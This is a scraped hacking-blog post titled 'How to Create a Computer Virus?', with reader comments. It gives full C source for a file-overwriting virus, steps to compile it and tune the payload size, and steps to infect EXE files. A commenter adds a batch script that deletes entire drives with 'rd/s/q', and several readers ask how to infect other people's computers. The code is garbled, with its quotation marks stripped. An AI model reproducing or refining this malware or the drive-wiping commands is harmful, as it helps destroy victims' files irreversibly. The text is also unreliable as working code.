Sunteți pe pagina 1din 12

How to Create a Computer Virus?

HOMEPRODUCTS
Remote PC SpyHide Real IPSpeed Up PCAnti-SpywaresSecurity BooksARCHIVES
Hacking FAQsABOUT
ContactPrivacy PolicyLINKSDISCLAIMERADVERTISE HERE Home C SOURCE CODES,
HOW-TO GUIDES, VIRUS CREATION
How to Create a Computer Virus?
Submitted by Srikanth on Friday, 7 December 200781 CommentsThis program is an
example of how to create a virus in C. This program demonstrates a simple virus
program which upon execution (Running) creates a copy of itself in the other
file. Thus it destroys other files by infecting them. But the virus infected
file is also capable of spreading the infection to another file and so on.
Heres the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(*.*,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],rb);
host=fopen(ffblk.ff_name,rb+);
if(host==NULL) goto next;
x=89088;
printf(Infecting %s\n,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(DONE! (Total Files Infected= %d),a);
end=clock();
printf(TIME TAKEN=%f SEC\n,
(end-st)/CLK_TCK);
getch();

}
COMPILING METHOD:
USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL
THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES
FOR ITS SIZE)
4. Change the value of X in the source code with the noted down size (IN THE
ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to
infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW
FOLDER)
3. Run the virus EXE file there you will see all the files in the current
directory get infected.
4. All the infected files will be ready to reinfect
Thats it
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS
CODEPopularity: 16% [?]
Visitors who read this post, also read:
How to Test the Working of your Antivirus EICAR Test
How to Protect Your Computer from Keyloggers
By using/following this site you agree to our Legal Disclaimer
Enjoyed this article?
Subscribe to GoHacking.Com and get daily updates in your email for free
81 Comments
Anonymous said:
This is the same as the one posted at http://vx.netlux.org/lib/vbw06.html and
for obvious reasons it wont compile, there are minute erros to prevent little
script kiddies from using it - 15 May 2008 at 10:36 PM
rahul said:
good- 20 November 2008 at 11:23 PM
Veronika said:
Hi,
Let me give you a question.
I can infect a victim with a virus sent by e-mail without the recipient opens
the attachment?
Thank you!
Veronika.- 22 November 2008 at 12:29 PM
himanshu said:
hey shrikant,dont laugh if i ask this question. I dont know a word about C.
Is it a software ?? or what??.. all that u wrote in this post have to be
entered in the software??? or have i to learn C to know all that?- 4 December

2008 at 9:58 PM
Srikanth (author) said:
@ Himanshu
C is a programming language.You need to learn this programming language to
understand the codes that I have written on my site!- 5 December 2008 at 7:02
AM
SATISH (director of sat multimedia) said:
Nice..& thaks- 11 December 2008 at 6:02 PM
bhargav said:
awe some keep it up n create more.- 29 December 2008 at 11:44 PM
Zals said:
Hey Sriki,i m much appreciated with ur work,i compiled the above code and
gettin 4 errors as below:
1- FILE *virus,*host ;(this has got error)
2- undefined symbol VIRUS(i think thats because of the first error)
if i get a solution for the first one i think i can compile it without errori
hope u ll help me..ty bhayya- 3 January 2009 at 10:35 PM
Zals said:
oh ya ..i forgot to tel u one thing,,,i m using turbo c++ - 3 January 2009
at 10:38 PM
Slim0123 said:
Hey you are not at all infecting other files, you are just copying your files
with the names of the files present in the directory..
But in case of infection, the virus code resides with the original content, if
your virus is infecting, for example, the notepad.exe file, then it should
retain its obvious functions and with that the virus content too, I mean than
when we run infected notepad.exe, then it should open up the notepad and
execute the virus code tooo, not just the virus code, otherwise it wont
survive longer- 4 January 2009 at 1:17 PM
redman said:
how do i learn da c lang- 15 January 2009 at 12:42 AM
Husain said:
Srikant,
I need your help in finding me the PW of Yahoo & Gmail as I was cheated by a
partner in business I want to peep through his e-mails and see what is he
upto-or I will suffer more by losing my international clients.
Thanks Husain- 16 January 2009 at 6:36 PM
vishal warang said:
i want learn methods of creating virus- 25 January 2009 at 12:38 PM
bharath said:
i want a program or software for unblocking the websites that are blocked in
my computer- 10 February 2009 at 6:25 PM
Daniel Tatsuki said:
Love all those. Please make some more posts in this catergory. woo!- 24
February 2009 at 8:38 PM
rahul said:
sir,i want to know that how we can start a computer if we do not know his

passward? please reply me soon.- 25 February 2009 at 2:37 PM


Srikanth (author) said:
@ rahul
You can start a password protected computer, but cannot login. If you want to
login, then you need to break the password- 26 February 2009 at 1:27 AM
shajith said:
i want to know how the autorun program is working.- 27 February 2009 at 9:06
PM
newbie said:
@ srikanth
Hey, Im new to this and I would like to know where you learned the C
language, can u link a good site? thnx- 7 March 2009 at 11:45 PM
Srikanth (author) said:
@ newbie
You can start learning C from cprogramming.com- 8 March 2009 at 11:30 PM
newbie said:
thnx- 10 March 2009 at 1:17 AM
newbie said:
@srikanth
should i learn C++ or C?- 10 March 2009 at 1:19 AM
Srikanth (author) said:
@ newbie
first C then C++- 10 March 2009 at 9:30 AM
Aqi said:
hi, can i get ur permission to use ur program for my final year project.- 17
March 2009 at 11:12 PM
Srikanth (author) said:
@ Aqi
Youre free to use it anywhere. You can also modify it to your needs
Enjoy..:)- 18 March 2009 at 9:43 AM
Aqi said:
thx. and if u dont mind..can i get ur email or messenger address. i have a few
question to ask and discuss regarding my final project. thx again for ur time
and consideration.- 18 March 2009 at 9:56 AM
DEBPRATIM GHOSH said:
CREATING A VIRUS IS SIMPLE FOR A WINDOWS COMPUTER.
OPEN THE NOTEPAD AND TYPE
rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
AND THEN SAVE THE FILE WITH A NAME VIRUS.BAT OR VIRUS.EXE
THIS COMMAND rd/s/q x:\ IS SIMPLY INSTRUCTING THE COMPUTER TO DELETE ALL THE
FILES INSIDE THE DRIVE x. YOU CAN REPLACE THE X WITH THE DRIVE NAME SUCH AS
C OR D OR E. WHATEVER THE DRIVE NAME IS JUST REPLACE THE X WITH THE
NAME. THIS WAY YOU HAVE GOT THE FILE VIRUS.BAT OR VIRUS.EXE. THIS FILE IS A
VIRS. IF YOU RUN THIS FILE THEN EVERY FILE IN THE INSTRUCTED DRIVE WILL BE
DLELETD WITHIN 5MINUTES.- 18 March 2009 at 3:06 PM
Srikanth (author) said:

@ Aqi
You can contact me from the contact page and Ill receive your message on my
email.- 18 March 2009 at 3:48 PM
Aditya said:
hai sir,
inside of each and every folders there are folders like
system volume information, recycler, thumbs., deskotp.ini files exists. what
are these files. are they viruses. please tell me.
i didnt create them.- 19 March 2009 at 1:44 PM
Aditya said:
hai,
here i created a logic for producing permutations for a given number. but it
is a static approach. could u please convert it to a dynamic approach.
#include
main()
{
int a[4]={1,2,3,4},i,j,k,h;
clrscr();
for(i=0;i<4;i++)
for(j=0;j<4;j++)
for(k=0;k<4;k++)
for(h=0;h<4;h++)
if(a[i]!=a[j])
if(a[i]!=a[k])
if(a[i]!=a[h])
if(a[j]!=a[h])
if(a[j]!=a[k])
if(a[k]!=a[h])
printf(%d%d%d\t,a[i],a[j],a[k]);
getch();
}
please change it to dynamic approach.
awaiting ur response- 19 March 2009 at 3:00 PM
Srikanth (author) said:
@ Aditya
There are not viruus. They are system files. Leave them intact and theyll not
harm your PC.- 19 March 2009 at 3:33 PM
Aditya said:
how can we access command promt by using c language.
i asked a modify a program. please do it.- 19 March 2009 at 8:20 PM
Srikanth (author) said:
@ Aditya
Use system funtion to access Command prompt.
Eg. system(ping xyz.com);- 20 March 2009 at 8:45 AM
Srikanth (author) said:
@ Aditya
Use dynamic memory allocation malloc() to dynamically allocate the memory.
Then use dynamic array intead of static array. Rest of the program remains
same. If I get time Ill send you the source code.- 20 March 2009 at 7:19 PM
RahRah said:
ok if i type rd/s/q C:\ in note pad and save it on my comp as VIRUS.BAT will
that infect MY Computer??? and if no then how do i run this line of code? and

is this transferable? Meaning can i upload this file to a remote comp and if
so how do i make it run on open. im kinda a noobstill learning and this site
seems to be the best site ive come across. i have 2 friends who went to comp
school in san diego cali, and theyve been teachin me what they knowmost of it
is networking thoughbut im tryin to learn coding.
INFORMATION IS POWER- 22 March 2009 at 11:13 AM
Virendra said:
hi Shrikant,
can you please tell me from where can i get c compiler- 22 March 2009 at 2:07
PM
Srikanth (author) said:
@ RahRah
It is transferrable. But you cannot make it run on open. It has to be manually
executed..- 23 March 2009 at 5:35 PM
aditya said:
hai sir,
i need to learn in deapth about ms dos from basics. so can u please tell me
where can i get the e-materials for free. please i am inerested in developing
program developing skills. please i am very much intersted.- 23 March 2009 at
7:44 PM
Virendra said:
hi Shrikant,
can this file be compiled on dev c++ compiler- 24 March 2009 at 5:41 PM
Vithulan said:
Hi Srikanth brother,
Dont laugh to my childy question.
Should I want to download C (whats it?)
And how can I Create login.php(using notepad or other softwares)
Atleast give me a basic Idea about PHP and about C
Reply me soon pls pls.
Thankyou.- 25 March 2009 at 1:15 PM
Srikanth (author) said:
@ Virendra
Yes, but may require some modifications..- 25 March 2009 at 8:16 PM
Srikanth (author) said:
@ aditya
Refer
http://www.tnd.com/camosun/elex130/dostutor1.html
http://bestlesson.50webs.com/learnms-dos.html- 25 March 2009 at 8:20 PM
naveen said:
hi srikanth,
give me solution for system volume information virus my computer is affected
with this virus i have formatted my pc but still the virus is coming .how to
remove it please help me
reply me at naveenbanni@gmail.com- 4 April 2009 at 12:03 AM
Srikanth (author) said:
@ naveen
system volume information is not a virus. it is an operation system file.
So dont be worried..- 6 April 2009 at 3:17 PM
Raj Singh said:

how can i get the original file that are affected


by ur above code
pls tell me- 13 April 2009 at 1:13 AM
Srikanth (author) said:
@ Raj Singh
The damage caused by this virus is irreversible!- 13 April 2009 at 10:33 PM
laxman gaire said:
hi shrikant i;ve done it
one ?
can we affect others computer from our computer with this virus
if yes then how???????- 19 April 2009 at 8:59 PM
Hamwenxu said:
system volume in4mation and recycler are system files but apparenly their is a
virus that is using those names the virus will change your system information
such as time and date so that you no longer cant update..look out 4 it. they
can be deleted using explorerXP(Shift delete)- 21 April 2009 at 1:51 PM
Sarvesh said:
Thanks sircan u plz give me the algo for the above & similar program(s)..22 April 2009 at 2:24 PM
DjCall said:
Is there a way in which we could create a virus in Basic
I meant the BASIC language which is used for creating small programes- 22
April 2009 at 9:19 PM
Ammiiirrrr said:
Hi Srikanth,
i have a few questions
take somebody to learn
thing..is it difficult
thanx
xxxx- 23 April 2009 at
Savio said:

about learning C programming..usually how long does it


C programming bcoz im a total beginner to this
to learn C??..where can i get the C compiler for free??
6:37 AM

Bhai . Please tell me how to create a virus , in C or oops language . And i


want to send it by net . Is there any virus . Plz help me yar- 5 May 2009 at
8:17 PM
Savio said:
Any virus small . big doesnt matter . But i want to send it by . Net , orkut .
Email- 5 May 2009 at 8:19 PM
Savio said:
Please help me yar .- 5 May 2009 at 8:20 PM
Srikanth (author) said:
@ Savio
I have already posted some of the virus source codes in C on my site- 6 May
2009 at 11:17 AM
fedata said:
how can you create a computer virus in pascal programming language- 7 May 2009

at 3:36 PM
cutelikekobra said:
HI sri m nu 2 hacking and i dunno much about c,c++ where do i start?- 11 May
2009 at 11:25 PM
oldnewby said:
Hi, Srikanth, very interesting demonstration. Im still learning a lot about
computer languages. Is there a preferred language for viruses?- 13 May 2009 at
10:02 AM
Srikanth (author) said:
@ oldnewby
Yes, most viruses are created in assembly language, also called as asm. asm is
a low level programming language and is much more difficult than high level
languages such as C, C++, Java etc.- 13 May 2009 at 10:16 PM
Ankit said:
why is the size of buff 2048? i.e char buff[2048];- 14 May 2009 at 4:21 PM
Srikanth (author) said:
@ Ankit
Buffer size is 2048 bytes. this means at a time, 2048 bytes of data is copied
from the source file to the taget file. You can change it to 512, 1024 etc.
without any problem.- 15 May 2009 at 7:05 AM
Bill said:
Dear Sir,
will you please let me know other websites, where I can know about creation
and working of viruses.- 18 May 2009 at 10:43 PM
bird said:
hey
i had not yet practise it. But like to know that this viruses are not detected
by the antiviruses. just want to know before trying will it harm the computer
a lot?
how would i know that it is infected?
only that folder will b infected or whole computer will b infected.
before trying i want to know the consequence so that i dont regret what i did
to my computer
pls reply//- 18 May 2009 at 11:40 PM
Srikanth (author) said:
@ bird
Only the current folder will be infected and not the whole computer.- 19 May
2009 at 9:51 AM
Loikaw said:
good , I want to know about process hide when your virus process- 25 May 2009
at 9:42 AM
neha said:
i wnted to ask tht if id like to try it on my pc then wil it harm all d files
in it or not? is it safe to try on my pc without any harm?- 26 May 2009 at
5:30 PM
Srikanth (author) said:

@ neha
Yes it is safe to try. This virus will not infect your entire system files.
Its only infects the files that are located in the current folder (directory)
in which it is executed.- 27 May 2009 at 4:35 PM
prem said:
please let me kbow abt compiler (borland c++ compiler) cos im new to this
tricks.- 27 May 2009 at 8:06 PM
jay said:
hi shrikant,
do u know any thing to hack location of any mobile no. by gps system. or any
other. plz reply me.- 12 June 2009 at 6:14 PM
T3ll said:
Really thanks for taking your time and write some comments Srikanth! - 12
June 2009 at 9:07 PM
rocky said:
hi.. i want to know that if we try it on our pc will it harm any of the
files..- 15 June 2009 at 11:32 AM
rocky said:
hi.. i want to know that if we try it on our pc will it harm the files- 15
June 2009 at 11:35 AM
pradeep said:
i can understand.
but wat is the function of argv and ffblk actually
does findfirst finds all the files with extensions
can i make it to find only exe files by .exeinstead of .- 18 June 2009 at
10:13 AM
pier said:
sorry but in the code you havent defined the struct u use there can you do
it please..?- 19 June 2009 at 6:27 AM
Srikanth (author) said:
@ pradeep
Yes you can just change from *.* to *.exe so that itll scan only for .exe
files.- 19 June 2009 at 7:52 PM
Srikanth (author) said:
@ jay
Refer this post How to spy on cell phone- 22 June 2009 at 8:38 PM
Sarvesh said:
Srhikant Sir,
You are best of all..!!!!!!!- 7 July 2009 at 5:07 PM
harish said:
does this work on any os- 23 July 2009 at 10:47 PM
Srikanth (author) said:
@ harish
It works only on windows PC- 26 July 2009 at 8:36 PM
Shah said:
amazzzzzzing site !
hats off to u my frnd !

PLZ KEEP THIS PLACE ALIVE for EVER


Live Long Sri !
- 29 July 2009 at 6:43 PM
karna said:
actually,virus are executed automatically from removable drive(pen drive)..how
they are executed without double clicking when they are plugged into
usb..please answer to this question i want to learn this not to spread just
for knowledge- 16 August 2009 at 10:50 AM
Or, subscribe via email

EMAIL SECURITY
What to Do When Your Email Account is Hacked?
How to Recover Hacked Email Accounts?
It can be a real nightmare if someone hacks and takes control of your email
account as it may contain confidential information like bank logins, credit card
details and other sensitive data. More articles HOW-TO GUIDES
How to Trace Mobile Numbers
With the rapid growth of mobile phone usage in recent years, we have often
observed that the mobile phone has become a part of many illegal and criminal
activities. So in most cases, tracing the mobile number More articles INTERNET
SECURITY
How Antivirus Software Works
Due to ever increasing threat from virus and other malicious programs, almost
every computer today comes with a pre-installed antivirus software on it. In
fact, an antivirus has become one of the most essential software package for
every computer. Even though every one More articles NETWORK HACKS
How to Hack an Ethernet ADSL Router
Almost half of the Internet users across the globe use ADSL routers/modems to
connect to the Internet however, most of them are unaware of the fact that it
has a serious vulnerability which can easily be exploited even by a More
articles VIRUS CREATION
How to Test the Working of your Antivirus EICAR Test
Have you ever wondered how to test your Antivirus software to ensure its proper
working? Well here is a quick and easy way to test your antivirus. The process
is called EICAR test which will More articles Categories
BROADBAND HACKS
BROWSER HACKS
C SOURCE CODES
CELL PHONE HACKS
COMMAND PROMPT HACKING
DATA RECOVERY
EMAIL HACKING
EMAIL SECURITY
ENCRYPTION
FACEBOOK HACKS
GOOGLE HACKS
HACKING AND SECURITY NEWS
HOW STUFFS WORK
HOW-TO GUIDES

INTERNET SECURITY
IP ADDRESS
LATEST E-GADGETS
LEARN HACKING FOR BEGINNERS
MYSPACE HACKS
NETWORK HACKS
ORKUT HACKS
PARENTAL CONTROL SOFTWARES
PASSWORD HACKING
PC SECURITY
PRODUCT REVIEWS
REGISTRY HACKS
SPEED UP COMPUTER
VIRUS CREATION
WEBSITE HACKING
WINDOWS 7 HACKS
WINDOWS VISTA HACKS
WINDOWS XP HACKS
YAHOO MESSENGER HACKS
Blogroll
404 Tech Support
CiscoZine
Free Product Keys
Hack In The Box
Hacking Truths
HD Doctor
How To Hack
Hungry Hackers
Insane Security
IT Solutions
Learn How to Hack
Megapanzer
Mr. Cracker
Pro Hack
Registry Cleaner Reviews
Smart Security
TechGeeze | Latest Technology News
TechMantras
Windows Reinstall
Wordpress Customization Service
Recent Comments
MORPHINE on How Antivirus Software Works
Gaurav on C Program to Get the Current System Date
Sandeep Kumbhar on C Program to Remove Comments and Blank lines from a valid C
Program
ra,om on How to Trace Mobile Numbers
GK on What to Do When Your Email Account is Hacked?
Pankii on How Antivirus Software Works
Sunny on How Antivirus Software Works
Alice on How Antivirus Software Works
Most Commented
Common Email Hacking Methods
Send Fake Email - Fake Email Pranks
How to Sniff Passwords Using USB Drive
A Virus Program to Restart the Computer at Every Startup
How to Copy Locked Photos from Orkut
Hack Software and Run the Trial Program Forever
How to Create a Computer Virus?Most Popular
Hack Email Account - Email Hacking

How to Hack Orkut Account


How to Hack a Yahoo Password
How to Hack MySpace Account
Cell Phone Spy: Spy Phone Software to Spy on Any Cell Phone
How to Become a Hacker
How to Make a Trojan Horse
How to Hack Gmail AccountLog In | Entries (RSS) | Comments (RSS) | Sitem
ap
2008-2010 GoHacking.Com. This content is copyrighted to Srikanth and may not
be reproduced on other websites.

S-ar putea să vă placă și